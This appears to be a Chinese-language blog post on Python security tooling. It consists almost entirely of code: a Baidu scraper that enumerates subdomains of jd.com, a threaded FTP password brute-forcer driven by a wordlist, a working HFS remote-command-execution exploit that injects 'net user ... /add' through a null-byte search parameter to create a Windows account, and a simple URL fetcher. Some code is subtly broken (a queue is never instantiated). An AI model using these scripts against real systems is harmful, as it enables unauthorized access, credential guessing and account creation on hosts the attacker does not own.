python安全开发-子域名爬取&ftp爆破&命令执行&请求测试

0x00 子域名爬取

import requests
import time
import queue
from lxml import etree

def baiud_get():
    while not q.empty():
        bd=q.get()
        req=requests.get(bd,headers=headers)
        time.sleep(4)
        baidu=req.text
        html=etree.HTML(baidu)
        ul=html.xpath('//h3[@class="c-title t t tts-title"]')
        for  uls in ul:
            t=uls.xpath('./a[1]')
            for tt in t:
                ttt=tt.xpath('@href')
                r=requests.get(ttt[0])
                print(r.url)

if __name__ == '__main__':
     q=queue.Queue()
     url='https://www.baidu.com/s?wd=site:jd.com&pn='
     headers={
         'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36 Edg/101.0.1210.32'
     }
     for i in range(100):
         i =i*10
         urls=url+str(i)
         q.put(urls)
     baiud_get()

0x01 ftp爆破（ssh mysql，都有相对应的模块使用）

import ftplib
import queue
import threading
import time

p=queue.Queue

def ftp_brute():
    while not p.empty():
        password=p.get()
        password = password.replace('\n','')
        print(password)
        try:
            ftp= ftplib.FTP(host)
            ftp.login(username,password)
            print('ok!')
            print(password)
            ftp.quit()
            return True
        except:
            print('no!')
            time.sleep(1)

if __name__ == '__main__':
    host='127.0.0.1'
    port='21'
    username='admin'
    for password in open('密码字典文件'):
        p.put(password)
    for i in range(10):
        t=threading.Thread(target=ftp_brute)
        t.start()

0x02 HFS-rce

import requests
url_add="/?search==%00{.exec|cmd%20/c%20net%20user%20bbbbb%20123%20/add.}"
url="http://192.168.213.163/"

urls=url+url_add
print(urls)

def add():
    code=requests.get(urls).status_code
    if code ==200:
        print("yes+urls")
    else:
        print("no+urls")

if __name__ == '__main__':
    add()

0x03 简单的请求测试

import requests
url=input("输入url:")

def duqu():
    code=requests.get(url).text
    print(code)

if __name__ == '__main__':
    duqu()